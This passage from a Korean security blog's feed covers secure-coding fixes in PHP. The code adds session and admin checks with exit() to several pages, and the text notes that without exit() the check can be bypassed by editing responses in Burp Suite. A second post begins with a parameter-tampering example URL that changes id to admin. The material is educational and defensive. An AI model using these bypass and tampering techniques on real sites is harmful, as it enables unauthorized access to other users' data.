&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 적용 후 비회원으로 게시글 작성을 시도해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;858&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/0278M/btsMyDjR78U/DscweuCMZkgF4ZorIqZQB1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/0278M/btsMyDjR78U/DscweuCMZkgF4ZorIqZQB1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/0278M/btsMyDjR78U/DscweuCMZkgF4ZorIqZQB1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F0278M%2FbtsMyDjR78U%2FDscweuCMZkgF4ZorIqZQB1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;858&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;858&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시글 작성 페이지에 접근하여 Write 를 클릭하여 게시글 작성을 시도하지만, 정상적인 접근이 아니라는 메시지와 함께 로그인 페이지로 리다이렉트 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LU8FO/btsMx60YBIL/DsFWK1zzQIadppTkJzcs70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LU8FO/btsMx60YBIL/DsFWK1zzQIadppTkJzcs70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LU8FO/btsMx60YBIL/DsFWK1zzQIadppTkJzcs70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLU8FO%2FbtsMx60YBIL%2FDsFWK1zzQIadppTkJzcs70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;237&quot; data-origin-width=&quot;943&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;596&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dFRrgi/btsMxBAlMvI/iMIUMkfUTnYkJ39rwRpfbk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dFRrgi/btsMxBAlMvI/iMIUMkfUTnYkJ39rwRpfbk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dFRrgi/btsMxBAlMvI/iMIUMkfUTnYkJ39rwRpfbk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdFRrgi%2FbtsMxBAlMvI%2FiMIUMkfUTnYkJ39rwRpfbk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;950&quot; height=&quot;596&quot; data-origin-width=&quot;950&quot; data-origin-height=&quot;596&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만약 비회원이 Write Page 에 접근을 못하게 조치하고 싶다면 write.php 에 인증 기능 로직을 추가해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; write.php 에 인증 기능 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740719101092&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	# 인증 기능
	if(empty($_SESSION[&quot;id&quot;])) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
		exit();
	}
?&amp;gt;
	&amp;lt;div class=&quot;pricing-header px-3 py-3 pt-md-5 pb-md-4 mx-auto text-center&quot;&amp;gt;
      &amp;lt;h1 class=&quot;display-4&quot;&amp;gt;Write Page&amp;lt;/h1&amp;gt;
      &amp;lt;hr&amp;gt;
    &amp;lt;/div&amp;gt;
    
    &amp;lt;div class=&quot;container&quot;&amp;gt;
		&amp;lt;form action=&quot;action.php&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label&amp;gt;Title&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;text&quot; class=&quot;form-control&quot; name=&quot;title&quot; placeholder=&quot;Title Input&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;Password&amp;lt;/label&amp;gt;
			&amp;lt;input type=&quot;password&quot; class=&quot;form-control&quot; name=&quot;password&quot; placeholder=&quot;Password Input&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;
		  &amp;lt;div class=&quot;form-group&quot;&amp;gt;
			&amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;Contents&amp;lt;/label&amp;gt;
			&amp;lt;textarea class=&quot;form-control&quot; name=&quot;content&quot; rows=&quot;5&quot; placeholder=&quot;Contents Input&quot;&amp;gt;&amp;lt;/textarea&amp;gt;
      &amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;form-group&quot;&amp;gt;
        &amp;lt;label for=&quot;exampleInputPassword1&quot;&amp;gt;File&amp;lt;/label&amp;gt;
        &amp;lt;input type=&quot;file&quot; class=&quot;form-control&quot; name=&quot;userfile&quot;&amp;gt;
		  &amp;lt;/div&amp;gt;
      &amp;lt;div class=&quot;custom-control custom-checkbox&quot;&amp;gt;
        &amp;lt;input type=&quot;checkbox&quot; class=&quot;custom-control-input&quot; id=&quot;customCheck1&quot; name=&quot;secret&quot;&amp;gt;
        &amp;lt;label class=&quot;custom-control-label&quot; for=&quot;customCheck1&quot;&amp;gt;Secret Post&amp;lt;/label&amp;gt;
      &amp;lt;/div&amp;gt;
		&amp;lt;div class=&quot;text-right&quot;&amp;gt;
			&amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;&amp;lt;?=$csrf_token?&amp;gt;&quot;&amp;gt;
			&amp;lt;input type=&quot;hidden&quot; name=&quot;mode&quot; value=&quot;write&quot;&amp;gt;
			&amp;lt;button type=&quot;submit&quot; class=&quot;btn btn-outline-secondary&quot;&amp;gt;Write&amp;lt;/button&amp;gt;
			&amp;lt;button type=&quot;button&quot; class=&quot;btn btn-outline-danger&quot; onclick=&quot;history.back(-1);&quot;&amp;gt;Back&amp;lt;/button&amp;gt;
		&amp;lt;/div&amp;gt;
		&amp;lt;/form&amp;gt;
    &amp;lt;/div&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 적용 후 비회원으로 게시글 작성 페이지에 접근 시 다음과 같이 접근이 불가한 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;237&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfIoEn/btsMzsINIjn/iueQVq7rtY453bkSt0BLQk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfIoEn/btsMzsINIjn/iueQVq7rtY453bkSt0BLQk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfIoEn/btsMzsINIjn/iueQVq7rtY453bkSt0BLQk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfIoEn%2FbtsMzsINIjn%2FiueQVq7rtY453bkSt0BLQk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;948&quot; height=&quot;237&quot; data-origin-width=&quot;948&quot; data-origin-height=&quot;237&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;pingcheck 부분에는 인증 부분(회원 유무)도 중요하지만 인가 부분(관리자 여부)가 더 중요하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 관리자만 접근하는 페이지에 권한이 없는 사용자가 접근이 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 웹 사이트는 관리자 권한을 확인하는 방법은 id 뿐이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id 가 admin 인지 아닌지 검증하는 코드를 추가한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; pingcheck.php 에 인증 및 인가 검증 코드 추가 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740720026468&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  include_once(&quot;./common.php&quot;);
  $ip = $_POST[&quot;ip&quot;];
  $page = $_SERVER['REQUEST_URI'];


  if(empty($_SESSION[&quot;id&quot;])) {
	echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
	exit();
  } else {
		if($_SESSION[&quot;id&quot;] != &quot;admin&quot;) {
			echo &quot;&amp;lt;script&amp;gt;alert('접근 권한이 없습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
		}
  }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;세션이 비어있는 경우(비회원)에는 로그인 페이지로 리다이렉트되며, 관리자가 아닌 경우에는 로직을 종료하는 코드이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 것은 exit(); 를 꼭 사용해줘야 한다는 것이다. 간혹 exit(); 를 사용하지 않아 에러 메시지만 발생하고 로직이 여전히 진행되므로 exit(); 로 로직을 종료해줘야 한다. (실무에서 이런 경우가 다수 발생함)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 접근 제한 미흡&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; exit() 함수를 사용하지 않으면 웹 프록시 도구(버프스위트)로 우회가 가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;버프스위트에서 pingcheck 로 요청하는 패킷을 잡고 해당 에러 메시지를 삭제 후 Intercept Off 하면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1529&quot; data-origin-height=&quot;736&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dt5KgU/btsMz7EldMS/8y17eaXszkK5vFA8aKgchk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dt5KgU/btsMz7EldMS/8y17eaXszkK5vFA8aKgchk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dt5KgU/btsMz7EldMS/8y17eaXszkK5vFA8aKgchk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdt5KgU%2FbtsMz7EldMS%2F8y17eaXszkK5vFA8aKgchk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1529&quot; height=&quot;736&quot; data-origin-width=&quot;1529&quot; data-origin-height=&quot;736&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음과 같이 접근이 가능하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;466&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b59NWn/btsMzsPlsi4/QRkvUDuTeGu7VBwaF3MF8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b59NWn/btsMzsPlsi4/QRkvUDuTeGu7VBwaF3MF8k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b59NWn/btsMzsPlsi4/QRkvUDuTeGu7VBwaF3MF8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb59NWn%2FbtsMzsPlsi4%2FQRkvUDuTeGu7VBwaF3MF8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;466&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;466&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간혹 기능이 다 실행되고 마지막에 검증하는 코드도 종종 있지만 이런 경우에는 검증이 되지 않으므로 &lt;b&gt;꼭 기능 실행 전에 검증하는 코드를 작성&lt;/b&gt;해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exit() 함수 적용 후에 관리자가 아닌 상태로 접근하게 되면 다음과 같이 에러메시지가 발생하면서 접근이 불가능해진다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;247&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/D640f/btsMzZl6fbj/8FFUlrPlHj6mtUKUseMLkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/D640f/btsMzZl6fbj/8FFUlrPlHj6mtUKUseMLkK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/D640f/btsMzZl6fbj/8FFUlrPlHj6mtUKUseMLkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FD640f%2FbtsMzZl6fbj%2F8FFUlrPlHj6mtUKUseMLkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;247&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;247&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;xmlparser.php 에도 동일하게 인증 및 인가 검증 코드를 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증, 인가 검증 코드 적용 시, 기능 수행 전에 검증하도록 상단에 작성해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; xmlparser.php 에 인증 및 인가 검증 코드 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1740721101108&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);
	$xml = $_POST[&quot;xml&quot;];
	
	if(empty($_SESSION[&quot;id&quot;])) {
		echo &quot;&amp;lt;script&amp;gt;alert('정상적인 접근이 아닙니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
		exit();
	  } else {
			if($_SESSION[&quot;id&quot;] != &quot;admin&quot;) {
				echo &quot;&amp;lt;script&amp;gt;alert('접근 권한이 없습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
				exit();
			}
	  }
	

	libxml_disable_entity_loader(true);

	if(!empty($xml)){
		$result = simplexml_load_string($xml);
	}
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드 적용 후 xmlparser 접근 시 다음과 같이 에러 메시지가 발생한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;238&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VFwch/btsMz7dc5v0/uBdnkAoQmJqZzpmvHNUA9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VFwch/btsMz7dc5v0/uBdnkAoQmJqZzpmvHNUA9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VFwch/btsMz7dc5v0/uBdnkAoQmJqZzpmvHNUA9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVFwch%2FbtsMz7dc5v0%2FuBdnkAoQmJqZzpmvHNUA9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;238&quot; data-origin-width=&quot;939&quot; data-origin-height=&quot;238&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비회원인 경우 다음과 같이 에러 메시지 발생 후 로그인 페이지로 리다이렉트 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;258&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/IZKDd/btsMz84k34f/ySJ7Lgl1gZK2dMA1MCslHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/IZKDd/btsMz84k34f/ySJ7Lgl1gZK2dMA1MCslHk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/IZKDd/btsMz84k34f/ySJ7Lgl1gZK2dMA1MCslHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIZKDd%2FbtsMz84k34f%2FySJ7Lgl1gZK2dMA1MCslHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;258&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;258&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;br /&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>url 취약점</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <category>접근 제한 미흡 취약점</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/214</guid>
      <comments>https://it-log.tistory.com/214#entry214comment</comments>
      <pubDate>Fri, 28 Feb 2025 22:00:35 +0900</pubDate>
    </item>
    <item>
      <title>파라미터 변조 취약점</title>
      <link>https://it-log.tistory.com/213</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1) 파라미터 변조 취약점이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Parameter Tampering Vulnerability&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용자 입력값인 파라미터를 통해서 액션이 이루어지는 기능에 대해서 악의적인 사용자가 파라미터를 변조하여 악의적인 행위를 하는 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #99cefa;&quot;&gt;정상 요청&lt;/span&gt;&lt;/b&gt; hxxp://www.test.co.kr/mypage.jsp?id=hacker&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;background-color: #ef5369;&quot;&gt;공격 요청&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;background-color: #ef5369;&quot;&gt;&lt;span style=&quot;background-color: #ffffff;&quot;&gt; hxxp://www.test.co.kr/mypage.jsp?id=&lt;span style=&quot;color: #ee2323;&quot;&gt;&lt;b&gt;admin&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;별도의 공격 페이로드가 없음.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx=100 을 idx=101 로 변경했더니 101번 게시글(비밀글)이 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 파라미터 변조에 의한 공격&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2) 공격 원리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1401&quot; data-origin-height=&quot;805&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oDaIh/btsMvSO6so1/oYGiP1NFhUasexnt6WP5oK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oDaIh/btsMvSO6so1/oYGiP1NFhUasexnt6WP5oK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oDaIh/btsMvSO6so1/oYGiP1NFhUasexnt6WP5oK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoDaIh%2FbtsMvSO6so1%2FoYGiP1NFhUasexnt6WP5oK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1401&quot; height=&quot;805&quot; data-origin-width=&quot;1401&quot; data-origin-height=&quot;805&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상 동작 예시&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 사용자는 id가 guest 인 mypage.jsp 를 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 어플리케이션에서 DB로 id가 guest 인 정보를 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) DB에서 id가 guest 인 정보를 어플리케이션으로 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4) 사용자에게 해당 정보 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
